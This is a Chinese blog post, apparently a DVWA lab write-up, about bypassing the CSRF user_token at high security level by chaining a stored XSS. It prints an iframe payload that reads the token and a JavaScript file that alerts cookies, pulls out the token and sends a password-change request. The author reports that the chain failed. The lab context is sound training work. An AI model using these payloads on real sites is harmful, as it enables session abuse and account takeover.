DWVA系列-2-csrf High等级 绕过user_token的xsrf
打算从0到1,重新做一遍DWVA靶场,复习各个技巧并记录下思路和总结。
看源码,必须要有用户的token我们才能完成csrf攻击。

如何获取用户的token?还有,因为csrf实际攻击最终都是在攻击服务器中完成的,不同的域名和IP有跨域问题,如何搞定?
如果有xss,js代码执行获取到token是一种思路。
这里利用存储型xss high等级来获取目标token
high等级name处有漏洞,由于限制了输入长度,所以我们要进行抓包、改包:


获取token,在txtName处输入
<iframe src="../csrf" onload=alert(frames[0].document.getElementsByName('user_token')[0].value)>
即可弹出token值。

我们来分析下xss的这个payload
<iframe src="../csrf" onload=alert(frames[0].document.getElementsByName('user_token')[0].value)>
使用iframe嵌套页面,不用跳转,src内的内容是csrf页面的内容,后面 onload是图片或者页面加载完成会立刻执行,alert弹窗,利用document获取页面为user_token的值,也就是token。底下是csrf页面的源代码,可知,src页面也要连接对。也可以是绝对路径,只要能加载出csrf界面即可。
<form action="#" method="GET"> Current password:<br /> <input type="password" AUTOCOMPLETE="off" name="password_current"><br /> New password:<br /> <input type="password" AUTOCOMPLETE="off" name="password_new"><br /> Confirm new password:<br /> <input type="password" AUTOCOMPLETE="off" name="password_conf"><br /> <br /> <input type="submit" value="Change" name="Change"> <input type='hidden' name='user_token' value='415f4807ddd55742339bf12fddc9b1fc' /> </form>
好了,xss.js已被放置到远程服务器,只要它被受害者访问,user_token就会被盗走并修改密码成test。
如何让受害者访问?在xss处直接插入该xss.js地址,当受害者访问到这个页面时,触发xss => csrf =>密码被改。

cooike是弹了,但是密码没被修改。
xss.js代码贴出来
alert(document.cookie); var theUrl = 'http://172.16.1.178/DVWA/vulnerabilities/csrf/'; if(window.XMLHttpRequest){ xmlhttp = new XMLHttpRequest(); }else { xmlhttp = new ActiveXObject("Microsoft.XMLHTTP"); } var count = 0; /* 如果在发送来自其他域的XMLHttpRequest请求之前, 未设置withCredentials 为true,那么就不能为它自己的域设置cookie值。 而通过设置withCredentials 为true获得的第三方cookies,将会依旧享受同源策略, 因此不能被通过document.cookie或者从头部相应请求的脚本等访问。 */ //简单的来说,这个设置为true,就代表可以跨域。带上其他域的cookie,依旧享受同源策略。 xmlhttp.withCredentials = true; //ajax事件,存储函数(或函数名),每当 readyState 属性改变时,就会调用该函数。 xmlhttp.onreadystatechange = function () { //xmlhttp.readyState == 4 代表响应已完成;您可以获取并使用服务器的响应了。 if(xmlhttp.readyState == 4 && xmlhttp.status == 200) { var text = xmlhttp.responseText; //提取user_token var regex = /user_token\' value\=\'(.*?)\' \/\>/; var match = text.match(regex); console.log(match); alert(match[1]); var token = match[1]; //待观察 var new_url = 'http://172.16.1.178/DVWA/vulnerabilities/csrf/?' + 'password_current=password&password_new=password&password_conf=password&Change=Change&user_token='+token+'' if (count == 0){ count++; xmlhttp.open("GET",new_url,false); xmlhttp.send(); } } }; xmlhttp.open("GET", theUrl, false); xmlhttp.send();
我试了,没成功,有成功的老铁麻烦告诉我如何绕过,蟹蟹
未完待续......
浙公网安备 33010602011771号